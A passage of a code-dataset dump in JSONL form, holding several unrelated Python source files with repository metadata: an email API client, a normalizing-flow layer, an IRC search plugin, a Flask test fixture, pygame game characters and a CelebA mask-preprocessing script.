"call"}, {"api_name": "requests.post", "line_number": 35, "usage_type": "call"}, {"api_name": "requests.put", "line_number": 38, "usage_type": "call"}, {"api_name": "requests.delete", "line_number": 41, "usage_type": "call"}, {"api_name": "xmltodict.parse", "line_number": 51, "usage_type": "call"}, {"api_name": "plexapi.server.PlexServer", "line_number": 72, "usage_type": "call"}, {"api_name": "plexapi.server.PlexServer", "line_number": 75, "usage_type": "call"}, {"api_name": "plexapi.video.Show", "line_number": 91, "usage_type": "argument"}, {"api_name": "plexapi.library.ShowSection", "line_number": 97, "usage_type": "argument"}, {"api_name": "plexapi.library.MovieSection", "line_number": 97, "usage_type": "argument"}, {"api_name": "operator.itemgetter", "line_number": 130, "usage_type": "call"}]} +{"seq_id": "73993064923", "text": "import logging\nfrom typing import List, Any\n\nimport requests\n\nfrom unisender.exceptions.unisender_exception import UnisenderException\n\nlogger = logging.getLogger('unisender')\n\n\nclass Unisender:\n _URL_API = 'https://api.unisender.com/ru/api/'\n _FORMAT = 'json'\n\n def __init__(self, api_key):\n self._api_key: str = api_key\n\n def import_contacts(self, field_names: List[str], data: List[List[Any]], overwrite_tags=0) -> dict:\n params = {\n 'field_names': field_names,\n 'data': data,\n 'overwrite_tags': overwrite_tags\n }\n return self._request('importContacts', params)\n\n def send_email_by_unisender(self, email: str, sender_name: str, sender_email: str,\n subject: str, body: str, list_id: int, lang: str = 'en'):\n \"\"\"\n Отправка email через unisender.\n\n Документация: https://www.unisender.com/ru/support/api/messages/sendemail/\n \"\"\"\n params = {\n 'email': email,\n 'sender_name': sender_name,\n 'sender_email': sender_email,\n 'subject': subject,\n 'body': body,\n 'list_id': list_id,\n 'lang': lang,\n 'error_checking': 1\n }\n response_data = self._request('sendEmail', params)\n\n send_results = response_data.get('result')\n if isinstance(send_results, list) is False:\n logger.error(f'unknown send error {response_data}')\n raise UnisenderException(response_data)\n for send_result in send_results:\n email_to = send_result['email']\n if send_result.get('errors'):\n logger.error(f'unknown send error: {send_result[\"errors\"]} email: {email_to}')\n else:\n logger.info(f'email sent successfully: {email_to}. email ID: {send_result[\"id\"]}')\n\n def _request(self, method: str, request_params: dict) -> dict:\n request_params['api_key'] = self._api_key\n request_params['format'] = self._FORMAT\n response = requests.post(f'{self._URL_API}{method}', data=self._http_build_query(request_params))\n if response.status_code != 200:\n logger.error(f'Unisender error {response.text}')\n raise UnisenderException(response.text)\n return response.json()\n\n def _http_build_query(self, params, key=None):\n \"\"\"\n Re-implement http_build_query for systems that do not already have it\n \"\"\"\n ret = {}\n\n for name, val in params.items():\n name = name\n\n if key is not None and not isinstance(key, int):\n name = '%s[%s]' % (key, name)\n if isinstance(val, dict):\n ret.update(self._http_build_query(val, name))\n elif isinstance(val, list):\n ret.update(self._http_build_query(dict(enumerate(val)), name))\n elif val is not None:\n ret[name] = val\n\n return ret\n", "repo_name": "deems/unisender", "sub_path": "unisender/unisender.py", "file_name": "unisender.py", "file_ext": "py", "file_size_in_byte": 2999, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 18, "usage_type": "name"}, {"api_name": "unisender.exceptions.unisender_exception.UnisenderException", "line_number": 48, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 59, "usage_type": "call"}, {"api_name": "unisender.exceptions.unisender_exception.UnisenderException", "line_number": 62, "usage_type": "call"}]} +{"seq_id": "2382513781", "text": "# -*- coding: utf-8 -*-\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n# Internal imports\nfrom .flow import Flow\nfrom .layers import amortized_init, sum_dims\n\n\nclass PlanarFlow(Flow):\n\n \"\"\"\n Planar normalizing flow, as defined in\n Variational Inference with Normalizing Flows - Rezende et al. (2015)\n http://proceedings.mlr.press/v37/rezende15.pdf\n \"\"\"\n\n def __init__(self, dim, amortized='none'):\n \"\"\"\n Initialize normalizing flow\n \"\"\"\n super(PlanarFlow, self).__init__(amortized)\n self.weight = amortized_init(amortized, (1, 1, dim))\n self.scale = amortized_init(amortized, (1, dim, 1))\n self.bias = amortized_init(amortized, (1, 1, 1))\n self.init_parameters()\n self.dim = dim\n\n def _call(self, z):\n if self.amortized == 'none':\n bias = self.bias.repeat(z.shape[0], 1, 1)\n scale = self.scale.repeat(z.shape[0], 1, 1)\n weight = self.weight.repeat(z.shape[0], 1, 1)\n else:\n bias, scale, weight = self.bias, self.scale, self.weight\n z = z.unsqueeze(2)\n f_z = torch.bmm(weight, z) + bias\n return (z + scale * torch.tanh(f_z)).squeeze(2)\n\n def log_abs_det_jacobian(self, z):\n if self.amortized == 'none':\n bias = self.bias.repeat(z.shape[0], 1, 1)\n scale = self.scale.repeat(z.shape[0], 1, 1)\n weight = self.weight.repeat(z.shape[0], 1, 1)\n else:\n bias, scale, weight = self.bias, self.scale, self.weight\n z = z.unsqueeze(2)\n f_z = torch.bmm(weight, z) + bias\n psi = weight * (1 - torch.tanh(f_z) ** 2)\n det_grad = 1 + torch.bmm(psi, scale)\n return sum_dims(torch.log(det_grad.abs() + 1e-9))\n\n def set_parameters(self, p_list, batch_dim=64):\n if self.amortized in ('input', 'self', 'ext'):\n self.weight = p_list[:, :self.dim].unsqueeze(1)\n self.scale = p_list[:, self.dim:self.dim*2].unsqueeze(2)\n self.bias = p_list[:, self.dim*2].unsqueeze(1).unsqueeze(2)\n # Handle self or no amortization\n if self.amortized == 'self':\n self.weight = self.weight.repeat(batch_dim, 1, 1)\n self.scale = self.scale.repeat(batch_dim, 1, 1)\n self.bias = self.bias.repeat(batch_dim, 1, 1)\n # Reparametrize scale so that the flow becomes invertible\n #uw = torch.bmm(self.weight, self.scale)\n #m_uw = -1. + F.softplus(uw)\n #w_norm_sq = torch.sum(self.weight**2, dim=2, keepdim=True)\n #self.scale = self.scale + ((m_uw - uw) * self.weight.transpose(2, 1) / w_norm_sq)\n\n def n_parameters(self):\n return 2 * self.dim + 1\n\n", "repo_name": "acids-ircam/flow_synthesizer", "sub_path": "code/models/flows/planar.py", "file_name": "planar.py", "file_ext": "py", "file_size_in_byte": 2712, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 128, "dataset": "github-code", "pt": "86", "api": [{"api_name": "flow.Flow", "line_number": 10, "usage_type": "name"}, {"api_name": "layers.amortized_init", "line_number": 23, "usage_type": "call"}, {"api_name": "layers.amortized_init", "line_number": 24, "usage_type": "call"}, {"api_name": "layers.amortized_init", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 50, "usage_type": "call"}, {"api_name": "layers.sum_dims", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 51, "usage_type": "call"}]} +{"seq_id": "9850047987", "text": "# -*- coding: utf-8 -*-\nfrom irc3.plugins.command import command\nimport irc3\n__doc__ = '''\n==============================================\n:mod:`irc3.plugins.search` Search plugin\n==============================================\n\n.. autoclass:: Search\n'''\n\n\n@irc3.plugin\nclass Search:\n\n requires = [\n __name__.replace('search', 'command'),\n ]\n\n headers = {\n 'User-Agent': 'python-requests/irc3/search',\n 'Cache-Control': 'max-age=0',\n 'Pragma': 'no-cache',\n }\n\n def __init__(self, bot):\n self.bot = bot\n try:\n import requests\n self.session = requests.Session()\n self.session.headers.update(self.headers)\n except ImportError: # pragma: no cover\n self.session = None\n\n @command(permission='view')\n def ddg(self, mask, target, args):\n \"\"\"Search using https://duckduckgo.com/api\n\n %%ddg ...\n \"\"\"\n q = ' '.join(args[''])\n resp = self.session.get('http://api.duckduckgo.com/',\n params=dict(q=q, format='json', t='irc3'),\n allow_redirects=False)\n ctype = resp.headers['content-type']\n if 'json' in ctype or 'javascript' in ctype:\n if resp.status_code == 200:\n data = resp.json()\n return '{AbstractText} - {AbstractURL}'.format(**data)\n elif resp.status_code == 303:\n return 'Redirect to: {0}'.format(resp.headers['location'])\n", "repo_name": "gawel/irc3", "sub_path": "irc3/plugins/search.py", "file_name": "search.py", "file_ext": "py", "file_size_in_byte": 1527, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 205, "dataset": "github-code", "pt": "86", "api": [{"api_name": "requests.Session", "line_number": 30, "usage_type": "call"}, {"api_name": "irc3.plugins.command.command", "line_number": 35, "usage_type": "call"}, {"api_name": "irc3.plugin", "line_number": 13, "usage_type": "attribute"}]} +{"seq_id": "11836050664", "text": "import pytest\nfrom flask import Flask\nfrom models import db as db_\n\n\n@pytest.fixture(scope='session')\ndef application():\n app = Flask('test')\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///profile_test.db'\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n app.config['JWT_SECRET_KEY'] = 'clave-jwt'\n app.config['PROPAGATE_EXCEPTIONS'] = True\n app.config['SERVER_NAME'] = 'localhost'\n db_.init_app(app)\n app_context = app.app_context()\n app_context.push()\n\n from urls import register_routes\n register_routes(app)\n\n yield app\n app_context.pop()\n", "repo_name": "criverosv/metricas-project", "sub_path": "fixtures/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 592, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "models.db.init_app", "line_number": 14, "usage_type": "call"}, {"api_name": "models.db", "line_number": 14, "usage_type": "name"}, {"api_name": "urls.register_routes", "line_number": 19, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 6, "usage_type": "call"}]} +{"seq_id": "19379222347", "text": "import numpy as np\nimport cv2\nfrom easyai.data_loader import ImageDetectTrainDataLoader\n\n\nclass dataCheck():\n def __init__(self):\n pass\n\n def decode_labels(self, img, labels):\n\n h, w, _ = img.shape\n\n x1 = w * (labels[1] - labels[3]/2)\n y1 = h * (labels[2] - labels[4]/2)\n x2 = w * (labels[1] + labels[3]/2)\n y2 = h * (labels[2] + labels[4]/2)\n\n return x1, y1, x2, y2\n\n def detectData(self):\n # Get dataloader\n color = [(0, 255, 0), (0, 0, 255), (255, 0, 0), (255, 255, 0), (0, 255, 255), (255, 0, 255), (255, 255, 255)]\n dataloader = ImageDetectTrainDataLoader(\"/home/wfw/data/VOCdevkit/BerkeleyDet/ImageSets/train.txt\", batchSize=1,\n imageSize=[640, 352], multi_scale=False, augment=False, balancedSample=False)\n\n for i, (imgs, labels) in enumerate(dataloader):\n for img, label in zip(imgs, labels):\n print(\"Image: {}\".format(i))\n img = img.numpy()\n img = np.transpose(img, (1, 2, 0)).copy()\n label = label.numpy()\n for l in label:\n xmin, ymin, xmax, ymax = self.decode_labels(img, l)\n # print(\"w for obj: {}, h for obj: {}\".format((xmax-xmin) / 640 * 1280, (ymax-ymin) / 352 * 720))\n # if ((xmax-xmin) / 640 * 1280) < 6.8 or ((ymax-ymin) / 352 * 720) < 5.0:\n # print(\"w for obj: {}, h for obj: {}\".format((xmax - xmin) / 640 * 1280, (ymax - ymin) / 352 * 720))\n cv2.rectangle(img, (int(xmin), int(ymin)), (int(xmax), int(ymax)), color[int(l[0])], 2)\n\n cv2.imshow('img', img)\n key = cv2.waitKey()\n if key == 27:\n break\n\nif __name__ == \"__main__\":\n checkData = dataCheck()\n checkData.detectData()", "repo_name": "MiniBullLab/easy_ai", "sub_path": "tests/tests_ai/dataCheck.py", "file_name": "dataCheck.py", "file_ext": "py", "file_size_in_byte": 1876, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "easyai.data_loader.ImageDetectTrainDataLoader", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 41, "usage_type": "call"}]} +{"seq_id": "27141911361", "text": "\"\"\"Get images and register them as character (Player and Enemies)\n\"\"\"\nimport pygame\n\nfrom threading import Timer\n\nfrom game_engine.entities.character import Enemy as EnemyConstruct, Player as PlayerConstruct\nfrom game_engine.entities.particles import ExplosionParticle\nfrom game_engine.helpers import Colors, Direction, Size2D\n\nfrom assets.images import *\nfrom assets.sounds import *\nfrom assets.objects.weapons import *\n\nfrom ui.player import GameWin\n\n\nclass Player(PlayerConstruct):\n def __init__(self, position: pygame.Vector2, speed: int, jump_power: int):\n super().__init__(knight_image, position, (50, 70), speed, jump_power)\n self.name = \"Player\"\n self.jump_limit = 3\n self.stomp_damage = 40\n self.actions = {\n pygame.KEYDOWN: {\n pygame.K_d: self.move_right,\n pygame.K_a: self.move_left,\n pygame.K_w: self.move_jump,\n pygame.K_s: self.action_hurt,\n pygame.K_SPACE: self.attack,\n },\n pygame.KEYUP: {\n pygame.K_d: self.stop_right,\n pygame.K_a: self.stop_left,\n },\n pygame.MOUSEBUTTONDOWN: {\n pygame.BUTTON_LEFT: self.attack,\n }\n }\n\n @property\n def anchor(self):\n return (pygame.Vector2(self.rect.midright) + pygame.Vector2(-10, 15)\n if self.direction else\n pygame.Vector2(self.rect.midleft) + pygame.Vector2(10, 15))\n\n def move_jump(self, event: pygame.event.Event):\n _, dirs = self.calculate_position(\n self.position, self.position+pygame.Vector2(0, 5))\n for entity in dirs[Direction.DOWN]:\n self.jump_number = 0\n if isinstance(entity, Enemy):\n entity.hurt(self.stomp_damage)\n super().move_jump(event)\n\n def attack(self, event: pygame.event.Event):\n if self.weapon is not None:\n self.weapon.attacking = True\n\n def action_hurt(self, event: pygame.event.Event):\n self.hurt(100)\n\n def update(self):\n super().update()\n new_position, dirs = self.calculate_position(\n self.position, self.new_position)\n\n if len(dirs[Direction.DOWN]) > 0:\n self.velocity.y = 0 if self.velocity.y > 0 else self.velocity.y\n if len(dirs[Direction.UP]) > 0:\n self.velocity.y = 0\n self.position = new_position\n if self.position.y > 5000:\n self.die()\n\n def hurt(self, damage: int):\n super().hurt(damage)\n if self.health > 0:\n death_sound.play()\n\n def die(self):\n center = self.rect.center\n particles = []\n for color in [Colors.RED, Colors.YELLOW, Colors.GREEN, Colors.BLACK]:\n particles.extend(ExplosionParticle.create_particles(\n pygame.Vector2(center), 35, color=color, size=(5, 15)))\n explode_sound.play()\n ExplosionParticle.register_particles(particles)\n death_sound.play()\n self.health = 0\n self.remove = True\n self.on_death()\n\n\nclass Enemy(EnemyConstruct):\n def __init__(self, position: pygame.Vector2, size: Size2D, speed: int, jump_power: int, image=player_image):\n super().__init__(image, position, size, speed, jump_power)\n self.flip_interval = 235\n self.direction = False\n self.actions = {\n # pygame.KEYDOWN: {\n # pygame.K_j: self.move_right,\n # pygame.K_l: self.move_left,\n # pygame.K_i: self.move_jump,\n # },\n # pygame.KEYUP: {\n # pygame.K_j: self.stop_right,\n # pygame.K_l: self.stop_left,\n # }\n }\n self.name = \"Enemy\"\n\n def on_attack(self):\n super().on_attack()\n\n def update(self):\n super().update()\n new_position, dirs = self.calculate_position(\n self.position, self.new_position)\n self.position = new_position\n\n if len(dirs[Direction.DOWN]) > 0:\n self.velocity.y = 0 if self.velocity.y > 0 else self.velocity.y\n if len(dirs[Direction.UP]) > 0:\n self.velocity.y = 0\n\n if self.position.y > 5000:\n self.die()\n\n def die(self):\n super().die()\n explode_sound.play()\n\n\nclass Zombie(Enemy):\n def __init__(self, position: pygame.Vector2):\n super().__init__(position, (50, 70), 3, 5, image=zombie_image)\n self.name = \"Zombie\"\n self.weapon = claws.copy()\n self.max_health = 50\n\n @property\n def anchor(self):\n return (pygame.Vector2(self.rect.midright) + pygame.Vector2(-10, 15)\n if self.direction else\n pygame.Vector2(self.rect.midleft) + pygame.Vector2(10, 15))\n\n def on_attack(self):\n super().on_attack()\n zombie_grunt_sound.play()\n\n def hurt(self, damage: int):\n super().hurt(damage)\n if self.health > 0:\n zombie_hurt_sound.play()\n\n def die(self):\n super().die()\n zombie_death_sound.play()\n\n\nclass Goblin(Enemy):\n def __init__(self, position: pygame.Vector2):\n super().__init__(position, (50, 70), 3, 5, image=goblin_image)\n self.name = \"Goblin\"\n self.weapon = mace.copy()\n self.health = self.max_health = 125\n\n @property\n def anchor(self):\n return (pygame.Vector2(self.rect.midright) + pygame.Vector2(-10, 17)\n if self.direction else\n pygame.Vector2(self.rect.midleft) + pygame.Vector2(10, 17))\n\n def on_attack(self):\n super().on_attack()\n goblin_grunt_sound.play()\n\n def hurt(self, damage: int):\n super().hurt(damage)\n if self.health > 0:\n goblin_hurt_sound.play()\n\n def die(self):\n super().die()\n goblin_death_sound.play()\n\n\nclass Minotaur(Enemy):\n def __init__(self, position: pygame.Vector2):\n super().__init__(position, (75, 105), 3, 5, image=minotaur_image)\n self.name = \"Minotaur\"\n self.weapon = battleaxe.copy()\n self.max_health = self.health = 250\n # self.weapon.sprite = pygame.transform.scale(self.weapon.sprite, (75, 75))\n\n @property\n def anchor(self):\n return (pygame.Vector2(self.rect.midright) + pygame.Vector2(-10, 15)\n if self.direction else\n pygame.Vector2(self.rect.midleft) + pygame.Vector2(10, 15))\n\n def on_attack(self):\n super().on_attack()\n demon_grunt_sound.play()\n\n def hurt(self, damage: int):\n super().hurt(damage)\n if self.health > 0:\n demon_hurt_sound.play()\n\n def die(self):\n super().die()\n demon_death_sound.play()\n\n\nclass Demon(Enemy):\n def __init__(self, position: pygame.Vector2):\n super().__init__(position, (125, 175), 3, 5, image=devil_image)\n self.name = \"Demon\"\n self.weapon = Melee(\n pygame.Vector2(0, 0),\n pygame.transform.scale(trident_image, (100, 150)),\n 95, 5)\n self.weapon.on_hit_sounds = hit_sharp_sounds\n self.attack_distance = self.weapon.size[1] + 200\n self.max_health = self.health = 666\n\n @property\n def anchor(self):\n return (pygame.Vector2(self.rect.midright) + pygame.Vector2(-10, 50)\n if self.direction else\n pygame.Vector2(self.rect.midleft) + pygame.Vector2(10, 50))\n\n def on_attack(self):\n super().on_attack()\n demon_grunt_sound.play()\n\n def hurt(self, damage: int):\n super().hurt(damage)\n if self.health > 0:\n demon_hurt_sound.play()\n\n def die(self):\n super().die()\n demon_death_sound.play()\n self.on_death()\n\n def on_death(self):\n super().on_death()\n # wait for 5 seconds\n\n def on_death():\n GameWin.instance().show = True\n print(\"You win!\")\n on_wait = Timer(3, on_death)\n on_wait.start()\n", "repo_name": "salfk23/2drpg_pygame", "sub_path": "assets/objects/characters.py", "file_name": "characters.py", "file_ext": "py", "file_size_in_byte": 7969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "game_engine.entities.character.Player", "line_number": 18, "usage_type": "name"}, {"api_name": "pygame.Vector2", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.KEYUP", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.K_d", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.K_a", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.K_w", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.K_s", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.K_d", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.K_a", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.BUTTON_LEFT", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pygame.Vector2", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.Vector2", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pygame.Vector2", "line_number": 49, "usage_type": "call"}, {"api_name": "game_engine.helpers.Direction.DOWN", "line_number": 50, "usage_type": "attribute"}, {"api_name": "game_engine.helpers.Direction", "line_number": 50, "usage_type": "name"}, {"api_name": "pygame.event", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pygame.event", "line_number": 60, "usage_type": "attribute"}, {"api_name": "game_engine.helpers.Direction.DOWN", "line_number": 68, "usage_type": "attribute"}, {"api_name": "game_engine.helpers.Direction", "line_number": 68, "usage_type": "name"}, {"api_name": "game_engine.helpers.Direction.UP", "line_number": 70, "usage_type": "attribute"}, {"api_name": "game_engine.helpers.Direction", "line_number": 70, "usage_type": "name"}, {"api_name": "game_engine.helpers.Colors.RED", "line_number": 84, "usage_type": "attribute"}, {"api_name": "game_engine.helpers.Colors", "line_number": 84, "usage_type": "name"}, {"api_name": "game_engine.helpers.Colors.YELLOW", "line_number": 84, "usage_type": "attribute"}, {"api_name": "game_engine.helpers.Colors.GREEN", "line_number": 84, "usage_type": "attribute"}, {"api_name": "game_engine.helpers.Colors.BLACK", "line_number": 84, "usage_type": "attribute"}, {"api_name": "game_engine.entities.particles.ExplosionParticle.create_particles", "line_number": 85, "usage_type": "call"}, {"api_name": "game_engine.entities.particles.ExplosionParticle", "line_number": 85, "usage_type": "name"}, {"api_name": "pygame.Vector2", "line_number": 86, "usage_type": "call"}, {"api_name": "game_engine.entities.particles.ExplosionParticle.register_particles", "line_number": 88, "usage_type": "call"}, {"api_name": "game_engine.entities.particles.ExplosionParticle", "line_number": 88, "usage_type": "name"}, {"api_name": "game_engine.entities.character.Enemy", "line_number": 95, "usage_type": "name"}, {"api_name": "pygame.Vector2", "line_number": 96, "usage_type": "attribute"}, {"api_name": "game_engine.helpers.Size2D", "line_number": 96, "usage_type": "name"}, {"api_name": "game_engine.helpers.Direction.DOWN", "line_number": 122, "usage_type": "attribute"}, {"api_name": "game_engine.helpers.Direction", "line_number": 122, "usage_type": "name"}, {"api_name": "game_engine.helpers.Direction.UP", "line_number": 124, "usage_type": "attribute"}, {"api_name": "game_engine.helpers.Direction", "line_number": 124, "usage_type": "name"}, {"api_name": "pygame.Vector2", "line_number": 136, "usage_type": "attribute"}, {"api_name": "pygame.Vector2", "line_number": 144, "usage_type": "call"}, {"api_name": "pygame.Vector2", "line_number": 146, "usage_type": "call"}, {"api_name": "pygame.Vector2", "line_number": 163, "usage_type": "attribute"}, {"api_name": "pygame.Vector2", "line_number": 171, "usage_type": "call"}, {"api_name": "pygame.Vector2", "line_number": 173, "usage_type": "call"}, {"api_name": "pygame.Vector2", "line_number": 190, "usage_type": "attribute"}, {"api_name": "pygame.Vector2", "line_number": 199, "usage_type": "call"}, {"api_name": "pygame.Vector2", "line_number": 201, "usage_type": "call"}, {"api_name": "pygame.Vector2", "line_number": 218, "usage_type": "attribute"}, {"api_name": "pygame.Vector2", "line_number": 222, "usage_type": "call"}, {"api_name": "pygame.transform.scale", "line_number": 223, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 223, "usage_type": "attribute"}, {"api_name": "pygame.Vector2", "line_number": 231, "usage_type": "call"}, {"api_name": "pygame.Vector2", "line_number": 233, "usage_type": "call"}, {"api_name": "ui.player.GameWin.instance", "line_number": 254, "usage_type": "call"}, {"api_name": "ui.player.GameWin", "line_number": 254, "usage_type": "name"}, {"api_name": "threading.Timer", "line_number": 256, "usage_type": "call"}]} +{"seq_id": "27811344651", "text": "import os\nimport cv2\nimport time\nimport random\nimport numpy as np\nimport multiprocessing\nimport matplotlib.pyplot as plt\n\nfrom utils.common_utility import CommonUtility\nfrom utils.constant import Constant\n\n# for training\nfrom keras.preprocessing.image import ImageDataGenerator\n\n\nclass CelebADataset:\n\n def __init__(self):\n self.IMG_HEIGHT = Constant.IMG_HEIGHT\n self.IMG_WIDTH = Constant.IMG_WIDTH\n self.CHANNELS = Constant.CHANNELS\n self.ANNOTATION_DIR = Constant.ANNOTATION_DIR\n self.RAW_IMAGE_DIR = Constant.RAW_IMAGE_DIR\n self.BASE_DIR = Constant.BASE_DIR\n self.anno_folders_dict_list = self.generate_annotated_folder_info()\n CommonUtility.create_folder(self.BASE_DIR)\n\n def generate_annotated_folder_info(self, ANNOTATION_DIR=None):\n \"\"\"generates mapping of annotated sub folders and it's respective image \n \n Keyword Arguments:\n ANNOTATION_DIR {str} -- path of annotation Directory (default: {None})\n \n Returns:\n [list] -- anno_folders_dict_list\n \"\"\"\n anno_folders_dict_list = []\n\n if not ANNOTATION_DIR:\n ANNOTATION_DIR = self.ANNOTATION_DIR\n\n for folder_num in range(15): \n anno_folder_dict = {\"folder_name\": os.path.join(ANNOTATION_DIR, str(folder_num)), \"start_idx\":folder_num*2000, \"end_idx\": 2000*(folder_num+1) -1}\n anno_folders_dict_list.append(anno_folder_dict)\n return anno_folders_dict_list\n\n def find_sub_folder_of_image(self, given_idx):\n \"\"\"finds location at which annotated mask file of given image file is present \n \n Arguments:\n given_idx {str} -- file_name (in numbers)\n \n Returns:\n [str] -- folder_name\n \"\"\"\n for folder_dict in self.anno_folders_dict_list:\n if folder_dict[\"start_idx\"] <= int(given_idx) and int(given_idx) <= folder_dict[\"end_idx\"]:\n return folder_dict[\"folder_name\"]\n\n def merge_mask(self, file_name, alpha=1, beta=1, gamma=0.0):\n \"\"\" merges masks of eye and lips\n \n Arguments:\n file_name {str} -- name of a given file\n \n Keyword Arguments:\n alpha {int} -- parameters related to first base image (default: {1})\n beta {int} -- parameters related to mask image (default: {1})\n gamma {float} -- parameters for adding weights (default: {0.0})\n \n Returns:\n [ndarray] -- final base_mask or merged mask\n \"\"\"\n mask_image_data = []\n mask_folder_name = self.find_sub_folder_of_image(file_name)\n base_mask_path = os.path.join(mask_folder_name, \"{:05d}_{}.png\")\n\n left_eye_mask = cv2.imread(base_mask_path.format(int(file_name), \"l_eye\"))\n right_eye_mask = cv2.imread(base_mask_path.format(int(file_name), \"r_eye\"))\n lower_lip_mask = cv2.imread(base_mask_path.format(int(file_name), \"l_lip\"))\n upper_lip_mask = cv2.imread(base_mask_path.format(int(file_name), \"u_lip\"))\n\n mask_image_data = [left_eye_mask, right_eye_mask, lower_lip_mask, upper_lip_mask]\n # Calculate blended image\n base_mask = np.zeros((self.IMG_WIDTH, self.IMG_HEIGHT, self.CHANNELS), dtype=np.uint8)\n for idx in range(len(mask_image_data)):\n if mask_image_data[idx] is not None:\n base_mask = cv2.addWeighted(mask_image_data[idx], alpha, base_mask, beta, gamma)\n return base_mask\n \n def generate_custom_dataset(self, data_dir, base_path=Constant.BASE_DIR, dataset_type='train'): \n \"\"\"Creates A Custom dataset for lips and eye\n \n Arguments:\n data_dir {str} -- raw Images directory\n \n Keyword Arguments:\n base_path {str} -- base dataset directory (default: {Constant.BASE_DIR})\n dataset_type {str} -- type of dataset data (default: {'train'})\n \"\"\"\n dataset_mask_path = os.path.join(base_path, dataset_type+\"_masks\", dataset_type)\n dataset_frame_path = os.path.join(base_path, dataset_type+\"_frames\", dataset_type)\n CommonUtility.create_folder(dataset_mask_path)\n CommonUtility.create_folder(dataset_frame_path)\n \n mask_base_path = os.path.join(dataset_mask_path, \"{}.jpg\")\n img_base_path = os.path.join(dataset_frame_path, \"{}.jpg\")\n\n start = 0\n step = 12\n \n while start <= len(data_dir):\n processes = []\n for file_path in data_dir[start:start+step]:\n process = multiprocessing.Process(target=self.data_preprocess, args=(file_path, data_dir, mask_base_path, img_base_path) )\n processes.append(process)\n for single_process in processes:\n single_process.start()\n for single_process in processes:\n single_process.join()\n\n # print(\"files {} are processing for train dataset\".format(data_dir[start:start+step]))\n start = start + step \n\n def data_preprocess(self, file_path, data_dir, mask_base_path, img_base_path):\n \"\"\"Preprocess data in required format\n \n Arguments:\n file_path {str} -- file_path\n data_dir {str} -- data_dir \n mask_base_path {str} -- mask_base_path\n img_base_path {str} -- img_base_path\n \"\"\"\n file_name = file_path.split('.jpg')[0]\n\n # generating single mask image for lips and eyes\n base_mask = self.merge_mask(file_name) \n _ = cv2.imwrite(mask_base_path.format(file_name), base_mask) \n\n # resizing raw image and storing it into respective folder\n # img = cv2.imread(os.path.join(self.RAW_IMAGE_DIR, file_path))\n # base_img = cv2.resize(img, (self.IMG_HEIGHT,self.IMG_WIDTH),0)\n # _ = cv2.imwrite(img_base_path.format(file_name), base_img)\n\n dest_base_path = os.path.join(img_base_path.format(file_name))\n source_image_path = os.path.join(self.RAW_IMAGE_DIR, file_path)\n CommonUtility.create_copy_of_a_file_to_dest(source_image_path, dest_base_path)\n\n def mask_folder_creation(self, train_split=0.7):\n \"\"\"Creates Dataset folders and divides the training and testing data\n \n Keyword Arguments:\n train_split {float} -- train_split (default: {0.7})\n \"\"\"\n start = time.time()\n base_path = os.path.join(self.BASE_DIR)\n raw_image_list = os.listdir(self.RAW_IMAGE_DIR)\n train_data_count = int(train_split*len(raw_image_list))\n training_data_list = raw_image_list[:train_data_count]\n testing_data_list = raw_image_list[train_data_count:]\n\n self.generate_custom_dataset(training_data_list, base_path, dataset_type='train')\n self.generate_custom_dataset(testing_data_list, base_path, dataset_type='test')\n end = time.time()\n time_diff = end - start\n print(\"took {} seconds or {} minutes to complete custom dataset Generation\".format(time_diff, time_diff/60.))\n\n def data_gen(self, train_frames_dir, train_masks_dir, \\\n val_frames_dir, val_masks_dir, \\\n rescale=Constant.RESCALE, \\\n batch_size=Constant.BATCH_SIZE, \\\n shear_range=Constant.SHEAR_RANGE, \\\n zoom_range=Constant.ZOOM_RANGE, \\\n horizontal_flip=True):\n \"\"\"Keras ImageDataGenerator with Augumentation \n Arguments:\n train_frames_dir {str} -- 